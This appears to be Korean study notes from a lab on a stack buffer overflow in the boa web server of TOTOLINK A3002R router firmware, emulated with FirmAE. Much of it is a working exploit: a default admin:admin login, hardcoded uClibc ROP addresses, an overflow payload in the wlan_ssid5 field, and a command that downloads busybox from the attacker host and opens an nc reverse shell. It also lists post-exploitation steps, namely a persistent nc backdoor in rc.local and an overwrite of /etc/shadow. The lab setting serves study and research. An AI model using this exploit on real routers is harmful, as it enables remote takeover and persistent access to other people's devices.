sudo ./run.sh -d tolink TOTOLINK-A3002R-He-V1.1.1-B20200824.0128.web
ps | grep boa
/bin/boa와 grep boa 2개가 나와야 함echo 0 > /proc/sys/kernel/randomize_va_space
boa &
~# Enabling OpenSSL security system 문구가 출력될 것python3 ./exp.py
invokeformLogin() → 라우터 웹 인터페이스에 로그인 요청을 보냄attack() → Exploit을 수행하여 원격 코드 실행을 시도cmd) → wget을 이용해 busybox-mipsel을 다운로드하고 nc(netcat)로 리버스 쉘을 연결nc -lvnp 2333 실행하여 공격자 머신에서 연결을 대기def invokeformLogin():
url = "http://192.168.0.1/boafrm/formLogin"
headers = {
"Host": "192.168.0.1",
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0",
"Accept": "*/*",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate",
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
"X-Requested-With": "XMLHttpRequest",
"Origin": "http://192.168.0.1",
"Connection": "close",
"Referer": "http://192.168.0.1/login.htm"
}
data = {
"topicurl": "setting/setUserLogin",
"username": "admin",
"userpass": "admin",
"submit-url": "/login.htm"
}
requests.post(url, headers=headers, json=data)
/boafrm/formLogin에 POST 요청)username="admin", userpass="admin"으로 기본 관리자 계정을 사용하여 로그인 시도User-Agent, Referer, Origin 등 정상적인 웹 브라우저처럼 보이도록 요청 구성def attack():
io = remote('192.168.0.1',80)
server_process = subprocess.Popen(['python', '-m', 'http.server'])
sleep(2)
python3 -m http.server 실행busybox-mipsel)을 제공sleep(2))try:
libc_base = 0x77cef000
system = libc_base + 0x00031930
ra = libc_base + 0x00014F70
s2 = libc_base + 0x00031D04
ra_ = libc_base + 0x00008084
s5 = system
libc_base는 uClibc의 기본 로드 주소(0x77cef000)system 함수 주소(libc_base + 0x00031930): system() 호출을 위해 사용ra, s2, ra_ 등 레지스터 조작: ROP(Return-Oriented Programming) 공격 수행cmd 페이로드)cmd = b'wget http://192.168.0.2:8000/busybox-mipsel;sleep 3;chmod 777 ./busybox-mipsel;./busybox-mipsel nc 192.168.0.2 2333 -e /bin/sh;\00'
busybox-mipsel 다운로드sleep 3)nc 192.168.0.2 2333 -e /bin/sh)nc -lvnp 2333으로 대기 중nc를 실행하여 원격 셸을 제공payload_factory = b'submit-url=%2Fwlsecurity.htm...'
payload_factory += b"a"*44+b"c"*4+b"b"*4+p32(s2)+b"b"*4+p32(ra)+b"a"*56+p32(s5)+p32(ra_)+b"x"*24+cmd
system() 실행을 유도cmd(쉘 실행 명령어)가 직접 포함되어 있음payload = b'POST /boafrm/formWlEncrypt HTTP/1.1\r\n'
...
payload += payload_factory
io.send(payload)
io.close()
formWlEncrypt 엔드포인트로 Exploit 페이로드 전송cmd 실행 - 리버스 쉘 연결 시도result = subprocess.run(f'nc -lvnp 2333', shell=True)
2333을 열어 타겟이 연결되길 기다림server_process.terminate()
admin:admin)으로 로그인busybox-mipsel을 다운로드하여 실행 후 nc로 리버스 쉘 연결nc -lvnp 2333을 실행하여 타겟에서 연결되길 대기
Connection Received ~ 메시지와 함께 쉘이 획득된 모습

$, # 등)은 없지만 터미널 명령어로 타겟의 파일 시스템에 접근, 열람 가능함을 확인
url = "http://192.168.0.1/boafrm/formLogin"에 연결을 시도하는 이유?busybox-mipsel과 exp.py 복사 & 터미널 준비busybox-mipsel과 exp.py를 해당 폴더에 준비busybox-mipsel이 필요한 이유busybox를 그대로 실행할 수 없음mipsel)용 busybox 바이너리를 별도로 준비해야 함busybox-mipsel 역할nc, wget, sh 등)를 실행할 수 있도록 지원nc(netcat)가 없는 환경에서도 리버스 쉘을 실행할 수 있도록 함exp.py를 FirmAE 폴더에 넣은 이유exp.py는 실제 익스플로잇을 수행하는 Python 스크립트sudo ./run.sh -d tolink TOTOLINK-A3002R-He-V1.1.1-B20200824.0128.web
sudo
- FirmAE는 가상 네트워크 인터페이스를 설정하고 루트 권한이 필요한 명령어를 실행하므로 관리자 권한이 필요
./run.sh
- FirmAE의 실행 스크립트(run.sh)
- 내부적으로 QEMU를 실행하여 펌웨어를 로드하고, 네트워크 인터페이스를 설정하며, 웹 서버(BOA) 등을 자동 실행
-d
- "Debug Mode" (디버그 모드)
- 더 많은 로그를 출력하며, FirmAE의 내부 동작을 확인할 수 있음
- 익스플로잇을 시도하기 전에, 정상적으로 부팅되었는지 확인할 때 유용
tolink
- tolink는 TOTOLINK 펌웨어를 실행할 것임을 의미
- FirmAE는 여러 제조사의 펌웨어를 지원하며, tolink는 TOTOLINK 제품군을 의미
TOTOLINK-A3002R-He-V1.1.1-B20200824.0128.web
- 실제 분석 대상인 TOTOLINK A3002R 라우터의 펌웨어 파일
1) QEMU로 펌웨어 실행
FirmAE는 내부적으로 QEMU를 사용하여 MIPS CPU를 가상으로 실행
실행된 QEMU는 펌웨어 내부의 커널을 부팅하고, 임베디드 리눅스 시스템을 실행
2) 가상 네트워크 인터페이스 생성
FirmAE는 가상 네트워크(tap 또는 bridge 인터페이스)를 생성하여 호스트(우분투 VM)와 타겟(FirmAE) 간의 통신을 가능하게 함
이 덕분에 공격자(우분투 VM)와 타겟(펌웨어) 간에 Exploit을 수행할 수 있음
3) 펌웨어 내부에서 boa 웹서버 실행
대부분의 라우터 펌웨어는 관리자 페이지를 제공하기 위해 웹 서버를 포함하고 있음
TOTOLINK 펌웨어에서는 경량 웹서버인 boa가 실행됨
4) 펌웨어의 주요 서비스 구동
펌웨어 내부에서 DNS 서비스(dnsmasq), DHCP 서버(udhcpd), 방화벽(iptables) 등이 실행될 수 있음
ps | grep boa 명령어로 boa 웹서버 실행 확인ps | grep boa
ps: 현재 실행 중인 프로세스를 출력하는 명령어|: 파이프 연산자, 앞의 명령어 출력을 뒤의 명령어로 전달grep boa: 출력된 프로세스 목록에서 "boa"라는 문자열을 포함한 행만 필터링boa 웹서버란boa는 TOTOLINK 라우터 펌웨어에서 실행되는 경량 웹서버/boafrm/formLogin, /boafrm/formWlEncrypt 등의 요청을 처리boa 웹서버가 실행 중인지 확인해야 하는 이유Exploit 대상이 웹 애플리케이션이기 때문
exp.py는 http://192.168.0.1/boafrm/formLogin 같은 URL에 요청을 보내서 익스플로잇을 시도라우터 관리자 페이지를 공격하려면 웹서버가 필요함
boa가 실행 중이어야 이 기능을 공격할 수 있음Exploit 수행 전, 환경이 정상적으로 구동되었는지 확인하기 위해
boa가 실행되지 않는다면, exp.py 실행 시 "Connection Refused" (연결 거부) 오류가 발생할 수 있음ps | grep boa를 통해 웹서버가 정상적으로 실행되는지 확인하면 불필요한 오류를 방지할 수 있음libuClibc 주소 찾기 / boa의 재시작?boa & 으로 웹 서버를 재시작 하는 이유는?echo 0 > /proc/sys/kernel/randomize_va_space 명령어로 ASLR을 비활성화시켜도 최초의 '랜덤화'는 제거되지 않기에, 프로세스를 재시작하여 ASLR이 비활성화된(고정된) 메모리 주소를 획득하는 것libuClibc 의 주소를 얻는 방법은 아래와 같음echo 0 > /proc/sys/kernel/randomize_va_space 로 ASLR 비활성화boa & 으로 웹 서버 재시작cat /proc/{pid}/maps | grep "libuClibc" 명령어로 fix된 libuClibc 의 base 주소 확보
echo 0 > /proc/sys/kernel/randomize_va_space
libc나 stack 등의 주소가 실행할 때마다 바뀌므로, Exploit 코드에서 메모리 주소를 미리 예측하기 어려움/proc/sys/kernel/randomize_va_space2) → ASLR 활성화됨0으로 설정하면 ASLR이 완전히 비활성화| ASLR 값 | Stack | Heap | .so |
|---|---|---|---|
| 0 | Fix | Fix | Fix |
| 1 | Shuffle | Fix | Shuffle |
| 2 | Shuffle | Shuffle | Shuffle |
1) Exploit에서 메모리 주소를 정확하게 지정해야 하기 때문
exp.py에서 사용하는 libc_base 값은 ASLR이 비활성화되었을 때의 uClibc 베이스 주소를 의미libc_base 값이 바뀌므로, Exploit이 실패할 가능성이 높음2) 정적 분석과 동적 분석 결과를 일치시키기 위해
binwalk, IDA, Ghidra 등)으로 찾은 주소가 ASLR이 활성화된 상태에서는 일치하지 않음vmmap으로 확인한 주소가 항상 동일하게 유지됨3) Exploit 과정에서 특정 메모리 주소를 예측할 수 있어야 하기 때문
system() 함수 주소 같은 값들이 정확해야 함SIGSEGV(Segmentation Fault, 메모리 접근 오류)가 발생할 수 있음cat /proc/sys/kernel/randomize_va_space
0 → ASLR 비활성화됨2 → ASLR 활성화됨dmesg | grep randomize
gdb -p <BOA_PID>
or
vmmap
libc의 주소가 매번 같으면 ASLR이 꺼진 상태boa & 명령어로 웹 서버 재시작boa &
boa & 명령어의 의미boa: 웹 서버 실행 명령어&: 백그라운드 실행 연산자 → 터미널을 점유하지 않고 실행exp.py 실행하여 익스플로잇 개시python3 ./exp.py
exp.py 에 대하여boa 웹서버에서 발견된 취약점을 이용하여 원격 코드 실행(RCE)을 수행하는 Exploit 코드exp.py를 실행하면, 라우터 웹서버에 HTTP 요청을 보내 취약점을 공략wget을 통해 busybox-mipsel을 다운로드하고 nc(netcat)로 공격자와 리버스 쉘을 연결1) 관리자 계정(admin:admin)으로 로그인 시도
def invokeformLogin():
url = "http://192.168.0.1/boafrm/formLogin"
...
data = {
"topicurl": "setting/setUserLogin",
"username": "admin",
"userpass": "admin",
"submit-url": "/login.htm"
}
requests.post(url, headers=headers, json=data)
http://192.168.0.1/boafrm/formLogin에 로그인 요청을 보냄username="admin", userpass="admin" → 기본 관리자 계정을 이용하여 로그인 시도2) boa 웹서버에 Exploit 페이로드 전송
io = remote('192.168.0.1',80)
...
payload = b'POST /boafrm/formWlEncrypt HTTP/1.1\r\n'
boa 웹서버의 특정 엔드포인트 /boafrm/formWlEncrypt에 요청을 보내서 취약점을 트리거3) busybox-mipsel 다운로드 및 실행
cmd = b'wget http://192.168.0.2:8000/busybox-mipsel; sleep 3; chmod 777 ./busybox-mipsel; ./busybox-mipsel nc 192.168.0.2 2333 -e /bin/sh;\00'
wget으로 공격자 머신에서 busybox-mipsel을 다운로드chmod 777)nc(netcat)으로 공격자에게 리버스 쉘 연결 시도4) 공격자 터미널에서 nc로 연결 대기
result = subprocess.run(f'nc -lvnp 2333', shell=True)
2333을 열어 리버스 쉘 연결을 대기Failure Initializing SSL Supportboa가 처음 실행될 때 HTTPS 관련 라이브러리를 초기화하는 과정에서 오류가 발생할 수 있음boa &로 백그라운드 실행한 직후라 완전히 초기화되지 않은 상태에서 요청을 보냈을 가능성wlsecurity.htm, login.htm 등을 참조하여 알아볼 것[+] Connection received from 192.168.0.1:
~
(루트 셸 획득됨)
cat /etc/passwd
ifconfig
cd /etc
ls -al
echo "nc -lvp 4444 -e /bin/sh" >> /etc/init.d/rc.local
echo "new_password" > /etc/shadow
int __fastcall setWlan(int a1, int a2, int a3)
{
int v7; // [sp+18h] [-3Ch] BYREF
char v8[12]; // [sp+1Ch] [-38h] BYREF
char v9[44]; // [sp+28h] [-2Ch] BYREF
apmib_save_wlanIdx();
sprintf(v8, "wlan%d-vxd", a1); // WLAN 인터페이스 이름 생성
sub_422694(v8);
apmib_get(1, v9); // SSID 값 가져오기
if ( strcmp(v9, a3) && strcmp(a3, v9) ) // SSID 값 비교
{
v7 = 1;
apmib_set(0x110, &v7);
strcpy(v9, a3);
apmib_set(1, v9);
apmib_set(0x116, v9);
apmib_set(a2, v9);
}
sprintf(v8, "wlan%d", a1);
sub_422694(v8);
return apmib_recov_wlanIdx();
}
a3)이 v9[44] 버퍼에 길이 제한 없이 복사됨strcpy(v9, a3);에서 BOF 발생 가능 → 입력값이 너무 길면 스택 메모리 오버플로우 발생wlan_ssid 필드에 특정 길이 이상의 데이터를 입력하여 스택을 덮어씌울 수 있음vwlan_idx 필드 조작vwlan_idx 값이 5 이상이어야 함vwlan_idx는 SSID 설정 요청을 처리하는 과정에서 사용됨formWlanRedirect CGI 핸들러를 이용해 조작 가능payload_factory = b'submit-url=%2Fwlsecurity.htm\
&opmode_wizard=&staControlPrefer=0\
&staControlEnabled=0&80211v_enable_=disable\
&dot11k_=disable&SSID_Setting5=1\
&has_vwlan5=&wpaAuth5=psk\
&wpa11w5=none&wpa2EnableSHA2565=disable\
&ciphersuite5=aes&wpa2ciphersuite5=aes\
&wps_clear_configure_by_reg5=0\
&wlan_disabled5=0&wlan_ssid5='
payload_factory += b"A"*44 + b"C"*4 + b"B"*4 + p32(s2) + b"B"*4 + p32(ra) + b"A"*56 + p32(s5) + p32(ra_) + b"X"*24 + cmd
wlan_ssid5=' → SSID 필드에 BOF 페이로드를 삽입"A"*44 → 버퍼를 덮어씌움"C"*4 + "B"*4 + p32(s2) → 저장된 레지스터 조작p32(ra) → RET(Return Address) 덮어씌움p32(s5) + p32(ra_) → system() 함수를 호출하는 구조formWlanRedirect 요청을 보내 vwlan_idx 값을 5 이상으로 설정formWlEncrypt에 BOF 페이로드를 포함한 HTTP POST 요청을 보냄wlan_ssid5)에 너무 긴 문자열을 넣어 스택을 덮어씌움system() 함수를 호출wget을 실행하여 공격자의 busybox-mipsel을 다운로드하고 실행nc(netcat)로 리버스 쉘을 연결라우터의 스택을 덮어씌운 후, 공격자가 원하는 명령을 실행하여
nc를 이용한 리버스 쉘을 확보
cmd = b'wget http://192.168.0.2:8000/busybox-mipsel; sleep 3; chmod 777 ./busybox-mipsel; ./busybox-mipsel nc 192.168.0.2 2333 -e /bin/sh;\00'
system() 실행system() 함수가 실행됨system("wget http://192.168.0.2:8000/busybox-mipsel") 실행busybox-mipsel 다운로드 및 실행wget을 사용해 공격자의 서버에서 busybox-mipsel을 다운로드nc(netcat) 실행nc를 이용해 공격자에게 리버스 쉘 연결nc -lvnp 2333 실행 중이므로, 연결이 수립되면 공격자가 라우터 내부에서 명령을 실행할 수 있음# mipsel.cmd
set architecture mips
set endian little
set follow-fork-mode parent
target remote 192.168.0.1:1337
echo 0 > /proc/sys/kernel/randomize_va_space
boa
ps | grep boa
/firmadyne/gdbserver 192.168.0.1:1337 --attach {pid}
sudo gdb-multiarch -x ./mipsel.cmd